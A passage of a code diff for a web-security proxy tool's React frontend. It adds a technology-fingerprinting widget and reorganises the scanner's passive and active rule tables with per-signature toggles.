// plus the item's free-form detail list, so it serves every catalog rule. The active
// counterpart to DetectRuleModal's RuleReference.
export default function SignatureDetail({ sig }: { sig: SignatureCatalogItem }) {
return (
<div className="space-y-2.5">
<div className="flex items-center gap-2">
{severityBadge(sig.severity)}
{!sig.enabled && (
<span className="text-[10px] px-1.5 py-0.5 rounded-sm bg-surface-input text-content-muted">disabled</span>
)}
</div>
<div className="text-sm font-semibold text-content-primary">{sig.name}</div>
{field('Description', sig.description)}
{field('Remediation', sig.remediation)}
{(sig.detail ?? []).map((d) => (
<div key={d.label}>{field(d.label, d.value, monoLabels.has(d.label))}</div>
))}
</div>
)
}
@@ -0,0 +1,71 @@
import { useEffect } from 'react'
import { RefreshCw } from 'lucide-react'
import DashboardPanel, { EmptyPanelBody } from '../DashboardPanel'
import { useTechStore } from '../../stores/techStore'
import { fingerprintHosts } from '../../lib/scanMenu'
import { Redacted } from '../Redacted'
// Passive technology fingerprints per host. Push-driven via ws (tech.detected),
// so it loads once on mount and never polls.
export default function TechnologiesWidget() {
const hosts = useTechStore((s) => s.hosts)
const summary = useTechStore((s) => s.summary)
const loaded = useTechStore((s) => s.loaded)
const load = useTechStore((s) => s.load)
useEffect(() => {
if (!loaded) void load()
}, [loaded, load])
return (
<DashboardPanel
title="Technologies"
count={summary.hosts}
headerExtra={
<button
onClick={() => void fingerprintHosts()}
title="Re-fingerprint all captured hosts"
className="ml-auto float-right text-content-muted hover:text-accent-secondary"
>
<RefreshCw size={12} />
</button>
}
>
{hosts.length === 0 ? (
<EmptyPanelBody>No technologies fingerprinted yet</EmptyPanelBody>
) : (
<table className="w-full text-xs">
<thead className="sticky top-0 bg-surface-card">
<tr className="text-content-secondary text-left">
<th className="px-3 py-1.5 font-medium">Host</th>
<th className="px-3 py-1.5 font-medium">Technologies</th>
</tr>
</thead>
<tbody>
{hosts.slice(0, 40).map((h) => (
<tr key={h.host} className="border-t border-border-subtle hover:bg-surface-hover align-top">
<td className="px-3 py-1.5 text-content-primary whitespace-nowrap">
<Redacted value={h.host} kind="url" />
</td>
<td className="px-3 py-1.5">
<div className="flex flex-wrap gap-1">
{h.technologies.map((t) => (
<span
key={t.name}
title={t.categories?.join(', ')}
className="px-1.5 py-0.5 rounded text-[10px] font-medium bg-accent-secondary/20 text-accent-secondary"
>
{t.name}
{t.version ? ` ${t.version}` : ''}
</span>
))}
</div>
</td>
</tr>
))}
</tbody>
</table>
)}
</DashboardPanel>
)
}
+87 -5
View File
@@ -172,6 +172,63 @@ export interface SitemapHost {
count: number
}
export interface Tech {
name: string
version?: string
categories?: string[]
confidence: number
}
export interface HostTech {
host: string
technologies: Tech[]
updatedAt: string
}
export interface TechScanStatus {
running: boolean
jobId?: string
scanned: number
total: number
status?: string
}
export interface ActiveScanRule {
id: string
name: string
category: string
description: string
enabled: boolean
hasSignatures: boolean
// Present for single-row engines (e.g. DOM XSS) whose row carries these; a
// catalog engine's rows carry their own.
severity?: string
confidence?: string
target?: string
}
/** One read-only line in a catalog item's detail (e.g. "Payloads" -> "...", "Request"
* -> "GET /.git/config"). Neutral so it serves both nuclei signatures and injection
* checks. Mirrors activescan.CatalogField. */
export interface CatalogDetailField {
label: string
value: string
}
/** One toggleable entry in an active rule's catalog — a nuclei signature or an
* injection check. Mirrors activescan.CatalogItem. */
export interface SignatureCatalogItem {
id: string
name: string
severity: string
confidence?: string
target?: string
description?: string
remediation?: string
enabled: boolean
detail?: CatalogDetailField[]
}
export interface CapturedWSMessage {
id: string
connectionId: string
@@ -1370,6 +1427,20 @@ export const api = {
echoGetScan: () => req<EchoScanStatus>('GET', '/echo/scan'),
echoCancelScan: () => req<EchoScanStatus>('POST', '/echo/scan/cancel', {}),
// Technology fingerprinting (passive; the embedded Wappalyzer database)
techHosts: () =>
req<{ enabled: boolean; hosts: HostTech[]; summary: { hosts: number; techs: number } }>(
'GET', '/tech/hosts'),
techHost: (host: string) => req<HostTech>('GET', `/tech/hosts/${encodeURIComponent(host)}`),
techSetEnabled: (enabled: boolean) =>
req<{ enabled: boolean }>('PUT', '/tech/enabled', { enabled }),
// Re-fingerprint captured history: all hosts, or one when scope is 'host'. Used
// to backfill hosts the live cursor skipped (e.g. a loaded project).
techScan: (body?: { scope?: 'host' | 'all'; host?: string; clear?: boolean }) =>
req<TechScanStatus>('POST', '/tech/scan', body ?? {}),
techScanStatus: () => req<TechScanStatus>('GET', '/tech/scan'),
techScanCancel: () => req<TechScanStatus>('POST', '/tech/scan/cancel', {}),
// Generate
generate: (format: string, mode?: string, implantUrl?: string, binaryName?: string, inMemory?: boolean) =>
req<{ fileName: string; authKey: string; content: string }>(
@@ -1782,19 +1853,30 @@ export const api = {
// Active scanning — operator-initiated rules (DOM XSS is the first) that drive a
// target and file findings into Detect. Scope "host" scans every captured GET
// endpoint for origin; "request" scans one captured request or a raw url.
activeScanRules: () =>
req<{ rules: { id: string; name: string; category: string; enabled: boolean }[] }>(
'GET',
'/activescan/rules',
),
activeScanRules: () => req<{ rules: ActiveScanRule[] }>('GET', '/activescan/rules'),
setActiveScanRuleEnabled: (id: string, enabled: boolean) =>
req<{ enabled: boolean }>('PUT', `/activescan/rules/${id}/enabled`, { enabled }),
activeScanSignatures: (ruleId: string) =>
req<{ signatures: SignatureCatalogItem[]; total: number; bySeverity: Record<string, number> }>(
'GET', `/activescan/rules/${ruleId}/signatures`),
setActiveScanSignatureEnabled: (ruleId: string, id: string, enabled: boolean) =>
req<{ enabled: boolean }>(
'PUT',
`/activescan/rules/${encodeURIComponent(ruleId)}/signatures/${encodeURIComponent(id)}/enabled`,
{ enabled },
),
setActiveScanSignaturesBulk: (ruleId: string, enabled: boolean) =>
req<{ enabled: boolean }>('PUT', `/activescan/rules/${ruleId}/signatures/enabled`, { enabled }),
startActiveScan: (body: {
scope: 'host' | 'request'
origin?: string
url?: string
requestId?: string
rules?: string[]
tags?: string[]
severity?: string[]
ignoreFingerprint?: boolean
oast?: boolean
}) =>
req<{ runId: string; total: number; rules: string[]; urls: number; skipped: number }>(
'POST',
+10
View File
@@ -5,6 +5,7 @@ import FlaggedRequestsWidget from '../components/dashboard/FlaggedRequestsWidget
import TeamChatWidget from '../components/dashboard/TeamChatWidget'
import ActiveUsersWidget from '../components/dashboard/ActiveUsersWidget'
import DetectFindingsWidget from '../components/dashboard/DetectFindingsWidget'
import TechnologiesWidget from '../components/dashboard/TechnologiesWidget'
import ProxyHealthWidget from '../components/dashboard/ProxyHealthWidget'
import AutomationActivityWidget from '../components/dashboard/AutomationActivityWidget'
@@ -19,6 +20,7 @@ export type WidgetId =
| 'team-chat'
| 'active-users'
| 'detect-findings'
| 'technologies'
| 'proxy-health'
| 'automation-activity'
@@ -70,6 +72,14 @@ export const WIDGETS: WidgetDef[] = [
needs: ['detect'],
render: () => <DetectFindingsWidget />,
},
{
id: 'technologies',
label: 'Technologies',
description: 'Passive fingerprint of each host’s technology stack (headers, cookies, markup).',
requiresProxyMode: true,
needs: [],
render: () => <TechnologiesWidget />,
},
{
id: 'proxy-health',
label: 'Proxy Health',
+7
View File
@@ -17,6 +17,13 @@ export const CATEGORY_OPTIONS = [
{ key: 'cookies', label: 'Cookies', title: 'Cookie flag issues' },
{ key: 'anomaly', label: 'Anomaly', title: 'Endpoints unlike their siblings on the same host' },
{ key: 'dom-xss', label: 'DOM XSS', title: 'Runtime-confirmed DOM-based cross-site scripting' },
{ key: 'template', label: 'Template', title: 'Template-signature checks: exposed files, known fingerprints, misconfigurations' },
{ key: 'reflected-xss', label: 'Reflected XSS', title: 'Confirmed reflected cross-site scripting (parameter breaks out of its context)' },
{ key: 'sqli', label: 'SQL injection', title: 'Error-based, boolean, time-based, or out-of-band SQL injection' },
{ key: 'ssti', label: 'SSTI', title: 'Server-side template injection (an injected expression was evaluated)' },
{ key: 'command-injection', label: 'Command injection', title: 'OS command injection (timing, echoed nonce, or out-of-band callback)' },
{ key: 'open-redirect', label: 'Open redirect', title: 'Unvalidated redirect to an attacker-controlled host' },
{ key: 'path-traversal', label: 'Path traversal', title: 'Directory traversal / local file inclusion returning file contents' },
]
export const TARGET_OPTIONS = [
+18
View File
@@ -9,6 +9,11 @@ export async function initiateScan(body: {
origin?: string
url?: string
requestId?: string
rules?: string[]
tags?: string[]
severity?: string[]
ignoreFingerprint?: boolean
oast?: boolean
}): Promise<void> {
const addToast = useToastStore.getState().addToast
try {
@@ -20,3 +25,16 @@ export async function initiateScan(body: {
addToast(msg, 'error')
}
}
// fingerprintHosts re-fingerprints captured history — one host, or all when host
// is omitted — surfacing the result as a toast. Updates arrive over tech.* events.
export async function fingerprintHosts(host?: string): Promise<void> {
const addToast = useToastStore.getState().addToast
try {
await api.techScan(host ? { scope: 'host', host } : { scope: 'all', clear: true })
addToast(host ? `Fingerprinting ${host}…` : 'Re-fingerprinting all hosts…', 'info')
} catch (e) {
const msg = e instanceof ApiError ? e.message : String((e as Error).message ?? e)
addToast(msg, 'error')
}
}
+10
View File
@@ -14,6 +14,8 @@ import { useInterceptStore, type InterceptKind, type PendingItem } from '../stor
import { useManipulateWSStore, type WSFrameEntry } from '../stores/manipulateWSStore'
import { useRequestStore, type RequestSummary } from '../stores/requestStore'
import { useTeamStore, type ChatMessage, type ActiveUser } from '../stores/teamStore'
import { useTechStore } from '../stores/techStore'
import type { HostTech } from '../lib/api'
import { useTeamConnectionStore, type RelayState } from '../stores/teamConnectionStore'
import { useTeamFlaggedStore, type FlaggedSummary } from '../stores/teamFlaggedStore'
import { useTeamSharedConfigStore, type SharedConfigSummary } from '../stores/teamSharedConfigStore'
@@ -455,6 +457,14 @@ function handleMessage(msg: WSMessage) {
useDetectStore.getState().setSummary(msg.data as DetectSummary)
break
}
case 'tech.detected': {
useTechStore.getState().applyDetected(msg.data as HostTech)
break
}
case 'tech.summary': {
useTechStore.getState().setSummary(msg.data as { hosts: number; techs: number })
break
}
case 'detect.scan.started': {
const d = msg.data as { jobId: string; kind: string; total: number }
useDetectStore.getState().setScan({
+344 -248
View File
@@ -1,5 +1,4 @@
import {
Fragment,
useCallback,
useEffect,
useMemo,
@@ -10,7 +9,6 @@ import {
import { useNavigate } from 'react-router'
import {
ChevronDown,
ChevronRight,
ChevronUp,
Eye,
EyeOff,
@@ -30,7 +28,7 @@ import {
} from '@codemirror/view'
import type { Range } from '@codemirror/state'
import { oneDark } from '@codemirror/theme-one-dark'
import { api, type ActiveScanRun } from '../lib/api'
import { api, type ActiveScanRun, type ActiveScanRule, type SignatureCatalogItem } from '../lib/api'
import { useActiveScanStore } from '../stores/activeScanStore'
import { ResponseRender, usePrettyJson } from '../components/ResponseRender'
import LensOutput from '../components/LensOutput'
@@ -42,6 +40,8 @@ import { useResizable } from '../lib/useResizable'
import ContextMenu, { type MenuItem } from '../components/ContextMenu'
import ConfirmModal from '../components/ConfirmModal'
import DetectRuleModal from '../components/DetectRuleModal'
import SignatureDetail from '../components/SignatureDetail'
import RuleTableSection, { type RuleGroupVM } from '../components/RuleTableSection'
import MultiSelectDropdown from '../components/MultiSelectDropdown'
import { Tooltip } from '../components/Tooltip'
import { getSelectionMenuItems } from '../lib/selectionMenu'
@@ -120,26 +120,42 @@ function formatTime(iso: string): string {
// Collapsed rule categories persist to localStorage, as the findings sort order
// does.
const COLLAPSED_KEY = 'joro-detect-collapsed'
// Tracks which groups the operator has opened. Default-empty means every group
// (active and passive) starts collapsed; their choices then persist.
const EXPANDED_KEY = 'joro-detect-expanded'
function loadCollapsed(): Set<string> {
function loadExpanded(): Set<string> {
try {
const raw = localStorage.getItem(COLLAPSED_KEY)
const raw = localStorage.getItem(EXPANDED_KEY)
if (raw) return new Set(JSON.parse(raw) as string[])
} catch {
// Ignore malformed storage and start expanded.
// Ignore malformed storage and start all-collapsed.
}
return new Set()
}
function persistCollapsed(v: Set<string>) {
function persistExpanded(v: Set<string>) {
try {
localStorage.setItem(COLLAPSED_KEY, JSON.stringify([...v]))
localStorage.setItem(EXPANDED_KEY, JSON.stringify([...v]))
} catch {
// Storage is best-effort.
}
}
// Active techniques are grouped into families in the Active Rules tab. Family is a
// UI-only mapping from a rule's finding category; unmapped → "Other".
const ACTIVE_FAMILY: Record<string, string> = {
'reflected-xss': 'Injection',
sqli: 'Injection',
ssti: 'Injection',
'command-injection': 'Injection',
'open-redirect': 'Injection',
'path-traversal': 'Injection',
template: 'Signatures',
'dom-xss': 'Browser-driven',
}
const ACTIVE_FAMILY_ORDER = ['Injection', 'Signatures', 'Browser-driven', 'Other']
// evidenceHighlightPlugin marks the matched evidence inside the raw view.
//
// The backend offset is preferred over a text search, which mis-highlights when
@@ -200,7 +216,7 @@ function evidenceHighlightPlugin(
}
export default function Detect() {
const [tab, setTab] = useState<'findings' | 'rules' | 'scans'>('findings')
const [tab, setTab] = useState<'findings' | 'passive-rules' | 'active-rules' | 'scans'>('findings')
const scanRunning = useActiveScanStore((s) => s.runs.some((r) => r.status === 'running'))
return (
@@ -209,7 +225,8 @@ export default function Detect() {
{(
[
['findings', 'Findings'],
['rules', 'Rules'],
['passive-rules', 'Passive Rules'],
['active-rules', 'Active Rules'],
['scans', 'Scans'],
] as const
).map(([key, label]) => (
@@ -229,7 +246,15 @@ export default function Detect() {
</button>
))}
</div>
{tab === 'findings' ? <FindingsView /> : tab === 'rules' ? <RulesView /> : <ScansView />}
{tab === 'findings' ? (
<FindingsView />
) : tab === 'passive-rules' ? (
<RulesView mode="passive" />
) : tab === 'active-rules' ? (
<RulesView mode="active" />
) : (
<ScansView />
)}
</div>
)
}
@@ -1191,9 +1216,10 @@ function DetailField({
// Rules
// ---------------------------------------------------------------------------
// RulesView is a full-width list. The inline checkbox toggles a rule in place;
// the row body opens DetectRuleModal for per-rule configuration.
function RulesView() {
// RulesView renders either the passive detection rules or the active-scan
// techniques, depending on mode — the two models get separate Detect sub-tabs but
// share this grouped-table view.
function RulesView({ mode }: { mode: 'passive' | 'active' }) {
const addToast = useToastStore((s) => s.addToast)
const { rules, rulesLoaded, config, setRules, setRuleEnabled, setConfig, setFilter } =
useDetectStore()
@@ -1203,7 +1229,7 @@ function RulesView() {
const [state, setState] = useState<'all' | 'enabled' | 'disabled'>('all')
const [cats, setCats] = useState<string[]>([])
const [sevs, setSevs] = useState<string[]>([])
const [collapsed, setCollapsed] = useState<Set<string>>(loadCollapsed)
const [expanded, setExpanded] = useState<Set<string>>(loadExpanded)
const [modalRuleId, setModalRuleId] = useState<string | null>(null)
const [creating, setCreating] = useState(false)
const [showSettings, setShowSettings] = useState(false)
@@ -1211,15 +1237,33 @@ function RulesView() {
// Active-scan rules come from a separate registry endpoint and are few and
// static apart from their enabled toggle, so they live in local state rather
// than the detect store. null means not-yet-loaded (or unavailable in this mode).
const [activeRules, setActiveRules] = useState<
{ id: string; name: string; category: string; enabled: boolean }[] | null
>(null)
useEffect(() => {
api
.activeScanRules()
.then((d) => setActiveRules(d.rules))
.catch(() => setActiveRules(null))
const [activeRules, setActiveRules] = useState<ActiveScanRule[] | null>(null)
// Signatures per engine that has a catalog, keyed by rule id.
const [activeSigs, setActiveSigs] = useState<Record<string, SignatureCatalogItem[]>>({})
// The signature (or single-engine check) whose read-only detail is open.
const [activeDetail, setActiveDetail] = useState<SignatureCatalogItem | null>(null)
const loadActive = useCallback(async () => {
try {
const d = await api.activeScanRules()
setActiveRules(d.rules)
const sigs: Record<string, SignatureCatalogItem[]> = {}
await Promise.all(
d.rules
.filter((r) => r.hasSignatures)
.map(async (r) => {
sigs[r.id] = (await api.activeScanSignatures(r.id)).signatures
}),
)
setActiveSigs(sigs)
} catch {
setActiveRules(null)
}
}, [])
useEffect(() => {
if (mode === 'active') void loadActive()
}, [mode, loadActive])
const toggleActiveRule = (id: string, enabled: boolean) => {
setActiveRules((prev) => prev?.map((r) => (r.id === id ? { ...r, enabled } : r)) ?? prev)
api.setActiveScanRuleEnabled(id, enabled).catch((err) => {
@@ -1227,6 +1271,29 @@ function RulesView() {
setActiveRules((prev) => prev?.map((r) => (r.id === id ? { ...r, enabled: !enabled } : r)) ?? prev)
})
}
const toggleSignature = (ruleId: string, sigId: string, enabled: boolean) => {
setActiveSigs((prev) => ({
...prev,
[ruleId]: (prev[ruleId] ?? []).map((s) => (s.id === sigId ? { ...s, enabled } : s)),
}))
api.setActiveScanSignatureEnabled(ruleId, sigId, enabled).catch((err) => {
addToast((err as Error).message, 'error')
setActiveSigs((prev) => ({
...prev,
[ruleId]: (prev[ruleId] ?? []).map((s) => (s.id === sigId ? { ...s, enabled: !enabled } : s)),
}))
})
}
const bulkSignatures = (ruleId: string, enabled: boolean) => {
setActiveSigs((prev) => ({
...prev,
[ruleId]: (prev[ruleId] ?? []).map((s) => ({ ...s, enabled })),
}))
api.setActiveScanSignaturesBulk(ruleId, enabled).catch((err) => {
addToast((err as Error).message, 'error')
void loadActive()
})
}
const loadRules = useCallback(async () => {
try {
@@ -1238,16 +1305,16 @@ function RulesView() {
}, [setRules, addToast])
useEffect(() => {
if (!rulesLoaded) void loadRules()
}, [rulesLoaded, loadRules])
if (mode === 'passive' && !rulesLoaded) void loadRules()
}, [mode, rulesLoaded, loadRules])
useEffect(() => {
if (config) return
if (mode !== 'passive' || config) return
api
.getDetectConfig()
.then(setConfig)
.catch(() => {})
}, [config, setConfig])
}, [mode, config, setConfig])
// Resolved from the live list rather than captured on open, so a toggle made
// inside the modal shows immediately after loadRules().
@@ -1290,30 +1357,162 @@ function RulesView() {
const filtering =
search !== '' || cats.length > 0 || sevs.length > 0 || origin !== 'all' || state !== 'all'
function toggleCategory(category: string) {
setCollapsed((prev) => {
function toggleGroup(key: string) {
setExpanded((prev) => {
const next = new Set(prev)
if (next.has(category)) next.delete(category)
else next.add(category)
persistCollapsed(next)
if (next.has(key)) next.delete(key)
else next.add(key)
persistExpanded(next)
return next
})
}
function setAllCollapsed(all: boolean) {
const next = all ? new Set(grouped.map(([c]) => c)) : new Set<string>()
persistCollapsed(next)
setCollapsed(next)
}
const allCollapsed = grouped.length > 0 && grouped.every(([c]) => collapsed.has(c))
function setCategoryEnabled(category: string, enabled: boolean) {
for (const r of rules) {
if (r.category === category && r.enabled !== enabled) setRuleEnabled(r.id, enabled)
}
}
// Passive rules mapped into the shared section view-model (rows click → edit modal).
const passiveGroups = useMemo<RuleGroupVM[]>(
() =>
grouped.map(([category, catRules]) => ({
key: category,
label: category,
rows: catRules.map((r) => ({
id: r.id,
name: r.name,
description: r.description,
severity: r.severity,
confidence: r.confidence,
target: r.target,
originBuiltin: r.builtin,
originLabel: r.builtin ? 'Built-in' : 'Custom',
enabled: r.enabled,
hits: r.findingCount,
onToggle: (en: boolean) => setRuleEnabled(r.id, en),
onClick: () => {
setCreating(false)
setModalRuleId(r.id)
},
onHits: () => setFilter({ rule: r.id, severities: [] }),
})),
onEnableAll: () => setCategoryEnabled(category, true),
onDisableAll: () => setCategoryEnabled(category, false),
})),
// eslint-disable-next-line react-hooks/exhaustive-deps
[grouped],
)
// Active rules mapped the same way: engines with a catalog expand to their
// signatures (per-signature toggle, read-only detail on click) with a master
// engine toggle; a single-row engine (DOM XSS) is one row.
// Active techniques are grouped by family (section) → technique (group) → rows.
const activeFamilies = useMemo<{ family: string; groups: RuleGroupVM[] }[]>(() => {
if (!activeRules) return []
const needle = search.toLowerCase()
const stateOK = (enabled: boolean) =>
state === 'all' || (state === 'enabled' && enabled) || (state === 'disabled' && !enabled)
const rowOK = (name: string, id: string, desc: string | undefined, severity: string) => {
if (origin === 'custom') return false // active signatures are all built-in
if (sevs.length > 0 && !sevs.includes(severity)) return false
if (
needle &&
!name.toLowerCase().includes(needle) &&
!id.toLowerCase().includes(needle) &&
!(desc ?? '').toLowerCase().includes(needle)
) {
return false
}
return true
}
const byFamily = new Map<string, RuleGroupVM[]>()
const push = (fam: string, g: RuleGroupVM) => {
const a = byFamily.get(fam) ?? []
a.push(g)
byFamily.set(fam, a)
}
for (const eng of activeRules) {
if (cats.length > 0 && !cats.includes(eng.category)) continue
const fam = ACTIVE_FAMILY[eng.category] ?? 'Other'
if (eng.hasSignatures) {
const rows = (activeSigs[eng.id] ?? [])
.filter((s) => rowOK(s.name, s.id, s.description, s.severity) && stateOK(s.enabled))
.map((s) => ({
id: `${eng.id}:${s.id}`,
name: s.name,
description: s.description,
severity: s.severity,
confidence: s.confidence,
target: s.target,
originBuiltin: true,
originLabel: 'Built-in',
enabled: s.enabled,
onToggle: (en: boolean) => toggleSignature(eng.id, s.id, en),
onClick: () => setActiveDetail(s),
}))
if (filtering && rows.length === 0) continue
push(fam, {
key: eng.id,
label: eng.name,
description: eng.description,
rows,
onEnableAll: () => bulkSignatures(eng.id, true),
onDisableAll: () => bulkSignatures(eng.id, false),
})
} else {
const sev = eng.severity ?? 'info'
if (!(rowOK(eng.name, eng.id, eng.description, sev) && stateOK(eng.enabled))) continue
const synthetic: SignatureCatalogItem = {
id: eng.id,
name: eng.name,
severity: sev,
confidence: eng.confidence,
target: eng.target,
description: eng.description,
enabled: eng.enabled,
}
push(fam, {
key: eng.id,
label: eng.name,
rows: [
{
id: eng.id,
name: eng.name,
description: eng.description,
severity: sev,
confidence: eng.confidence,
target: eng.target,
originBuiltin: true,
originLabel: 'Built-in',
enabled: eng.enabled,
onToggle: (en: boolean) => toggleActiveRule(eng.id, en),
onClick: () => setActiveDetail(synthetic),
},
],
onEnableAll: () => toggleActiveRule(eng.id, true),
onDisableAll: () => toggleActiveRule(eng.id, false),
})
}
}
return ACTIVE_FAMILY_ORDER.filter((f) => byFamily.has(f)).map((f) => ({
family: f,
groups: byFamily.get(f)!,
}))
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [activeRules, activeSigs, search, sevs, cats, origin, state, filtering])
const anyExpanded = expanded.size > 0
function setAllExpanded(expand: boolean) {
const keys =
mode === 'active'
? activeFamilies.flatMap((f) => f.groups.map((g) => g.key))
: passiveGroups.map((g) => g.key)
const next = expand ? new Set(keys) : new Set<string>()
persistExpanded(next)
setExpanded(next)
}
async function patchConfig(patch: Record<string, unknown>) {
try {
setConfig(await api.updateDetectConfig(patch))
@@ -1329,15 +1528,6 @@ function RulesView() {
: 'bg-surface-input text-content-secondary hover:bg-surface-hover'
}`
const originPill = (builtin: boolean) => (
<span
className={`inline-block px-1 py-px rounded-sm bg-surface-input text-[10px] font-semibold uppercase tracking-wide align-middle ${
builtin ? 'text-accent-secondary' : 'text-accent-tertiary'
}`}
>
{builtin ? 'Built-in' : 'Custom'}
</span>
)
const enabledCount = rules.filter((r) => r.enabled).length
@@ -1345,12 +1535,14 @@ function RulesView() {
<div className="flex flex-col flex-1 min-h-0">
{/* Toolbar */}
<div className="flex flex-wrap items-center gap-2 px-2 py-1.5 border-b border-border bg-surface-card shrink-0">
<MultiSelectDropdown
label="Category"
options={CATEGORY_OPTIONS}
selected={cats}
onChange={setCats}
/>
{mode === 'passive' && (
<MultiSelectDropdown
label="Category"
options={CATEGORY_OPTIONS}
selected={cats}
onChange={setCats}
/>
)}
<MultiSelectDropdown
label="Severity"
options={SEVERITY_OPTIONS}
@@ -1366,13 +1558,15 @@ function RulesView() {
className="bg-surface-input text-xs px-2 py-1.5 rounded-sm border border-border w-full"
/>
</label>
<div className="flex items-center gap-0.5">
{(['all', 'builtin', 'custom'] as const).map((k) => (
<button key={k} onClick={() => setOrigin(k)} className={chip(origin === k)}>
{k === 'all' ? 'All' : k === 'builtin' ? 'Built-in' : 'Custom'}
</button>
))}
</div>
{mode === 'passive' && (
<div className="flex items-center gap-0.5">
{(['all', 'builtin', 'custom'] as const).map((k) => (
<button key={k} onClick={() => setOrigin(k)} className={chip(origin === k)}>
{k === 'all' ? 'All' : k === 'builtin' ? 'Built-in' : 'Custom'}
</button>
))}
</div>
)}
<div className="flex items-center gap-0.5">
{(['all', 'enabled', 'disabled'] as const).map((k) => (
<Tooltip
@@ -1385,30 +1579,34 @@ function RulesView() {
</Tooltip>
))}
</div>
<Tooltip content={allCollapsed ? 'Expand every category' : 'Collapse every category'}>
<Tooltip content={anyExpanded ? 'Collapse every group' : 'Expand every group'}>
<button
onClick={() => setAllCollapsed(!allCollapsed)}
onClick={() => setAllExpanded(!anyExpanded)}
disabled={filtering}
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover disabled:opacity-50"
>
{allCollapsed ? 'Expand all' : 'Collapse all'}
{anyExpanded ? 'Collapse all' : 'Expand all'}
</button>
</Tooltip>
<button
onClick={() => setShowSettings((v) => !v)}
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover"
>
{showSettings ? 'Hide settings' : 'Settings'}
</button>
<button
onClick={() => {
setModalRuleId(null)
setCreating(true)
}}
className="text-xs px-3 py-1.5 rounded-sm bg-accent-tertiary hover:bg-accent-tertiary-hover text-black font-semibold"
>
+ New rule
</button>
{mode === 'passive' && (
<>
<button
onClick={() => setShowSettings((v) => !v)}
className="text-xs px-2 py-1 rounded-sm bg-surface-input text-content-secondary hover:bg-surface-hover"
>
{showSettings ? 'Hide settings' : 'Settings'}
</button>
<button
onClick={() => {
setModalRuleId(null)
setCreating(true)
}}
className="text-xs px-3 py-1.5 rounded-sm bg-accent-tertiary hover:bg-accent-tertiary-hover text-black font-semibold"
>
+ New rule
</button>
</>
)}
</div>
{/* Detection settings: engine config rather than per-rule, so it stays
@@ -1481,179 +1679,55 @@ function RulesView() {
{/* Count bar */}
<div className="flex items-center gap-3 text-content-muted text-xs px-2 py-1 border-b border-border bg-surface-card shrink-0">
<span>
Showing {visible.length} of {rules.length} rules
</span>
<span>
{enabledCount} enabled, {rules.length - enabledCount} disabled
</span>
<span className="ml-auto text-[10px]">
Click a rule to configure it; use the checkbox to toggle it directly.
</span>
{mode === 'passive' ? (
<>
<span>
Showing {visible.length} of {rules.length} rules
</span>
<span>
{enabledCount} enabled, {rules.length - enabledCount} disabled
</span>
<span className="ml-auto text-[10px]">
Click a rule to configure it; use the checkbox to toggle it directly.
</span>
</>
) : (
<span className="ml-auto text-[10px]">
Operator-initiated via "Initiate scan". Click a check for detail; use the checkbox to
toggle it.
</span>
)}
</div>
{/* Table */}
<div className="flex-1 overflow-auto min-h-0">
{activeRules && activeRules.length > 0 && (
<div className="border-b border-border">
<div className="flex items-center gap-1.5 px-2 py-1.5 bg-surface-card text-content-muted">
<Scan size={12} strokeWidth={1.8} className="text-accent-tertiary" />
<span className="text-[10px] font-semibold uppercase tracking-wide">Active rules</span>
<span className="text-[10px] text-content-muted">· run on demand via "Initiate scan"</span>
{mode === 'active' ? (
activeFamilies.length === 0 ? (
<div className="px-3 py-8 text-center text-content-muted text-xs">
No active rules match the current filters.
</div>
<table className="w-full text-xs">
<tbody>
{activeRules.map((r) => (
<tr key={r.id} className={`border-b border-border-subtle ${r.enabled ? '' : 'opacity-60'}`}>
<td className="px-2 py-1 w-8">
<input
type="checkbox"
className="accent-accent"
checked={r.enabled}
onChange={(e) => toggleActiveRule(r.id, e.target.checked)}
/>
</td>
<td className="px-2 py-1">
<div className="text-content-secondary">{r.name}</div>
</td>
<td className="px-2 py-1">
<span className="text-[10px] px-1.5 py-0.5 rounded-sm bg-surface-input text-content-muted">
{r.category}
</span>
</td>
<td className="px-2 py-1 text-[10px] text-content-muted">active · operator-initiated</td>
</tr>
))}
</tbody>
</table>
</div>
) : (
activeFamilies.map((f) => (
<RuleTableSection
key={f.family}
title={f.family}
groups={f.groups}
expanded={expanded}
onToggleExpand={toggleGroup}
filtering={filtering}
emptyText="No techniques match the current filters."
/>
))
)
) : (
<RuleTableSection
groups={passiveGroups}
expanded={expanded}
onToggleExpand={toggleGroup}
filtering={filtering}
emptyText="No rules match the current filters."
/>
)}
<table className="w-full text-xs">
<thead className="sticky top-0 bg-surface-card text-content-muted uppercase">
<tr>
<th className="px-2 py-1 w-8" />
<th className="px-2 py-1 text-left">Rule</th>
<th className="px-2 py-1 text-left w-20">Severity</th>
<th className="px-2 py-1 text-left w-14">Conf</th>
<th className="px-2 py-1 text-left w-32">Target</th>
<th className="px-2 py-1 text-left w-20">Origin</th>
<th className="px-2 py-1 text-right w-12">Hits</th>
</tr>
</thead>
<tbody>
{grouped.length === 0 && (
<tr>
<td colSpan={7} className="px-2 py-8 text-center text-content-muted text-xs">
No rules match the current filters.
</td>
</tr>
)}
{grouped.map(([category, catRules]) => {
const isCollapsed = !filtering && collapsed.has(category)
const onCount = catRules.filter((r) => r.enabled).length
return (
<Fragment key={category}>
<tr
className="cursor-pointer hover:bg-surface-hover"
onClick={() => !filtering && toggleCategory(category)}
>
<td
colSpan={7}
className="px-2 py-1 bg-surface-input text-[10px] text-content-muted uppercase tracking-wide"
>
<span className="flex items-center gap-2">
{filtering ? (
<span className="w-3" />
) : isCollapsed ? (
<ChevronRight size={12} />
) : (
<ChevronDown size={12} />
)}
{category} ({catRules.length})
{/* With the body collapsed this is the only signal of what is
switched off, so the header has to carry it. */}
<span className={onCount === catRules.length ? '' : 'text-semantic-warning'}>
{onCount} on
</span>
{/* stopPropagation so bulk toggling never collapses the group */}
<button
onClick={(e) => {
e.stopPropagation()
setCategoryEnabled(category, true)
}}
className="text-accent-secondary hover:underline normal-case"
>
Enable all
</button>
<button
onClick={(e) => {
e.stopPropagation()
setCategoryEnabled(category, false)
}}
className="text-accent-secondary hover:underline normal-case"
>
Disable all
</button>
</span>
</td>
</tr>
{!isCollapsed && catRules.map((r) => (
<tr
key={r.id}
className={`border-b border-border-subtle cursor-pointer hover:bg-surface-hover ${
r.enabled ? '' : 'opacity-60'
}`}
onClick={() => {
setCreating(false)
setModalRuleId(r.id)
}}
>
<td className="px-2 py-1">
{/* stopPropagation keeps bulk toggling from opening the modal */}
<input
type="checkbox"
className="accent-accent"
checked={r.enabled}
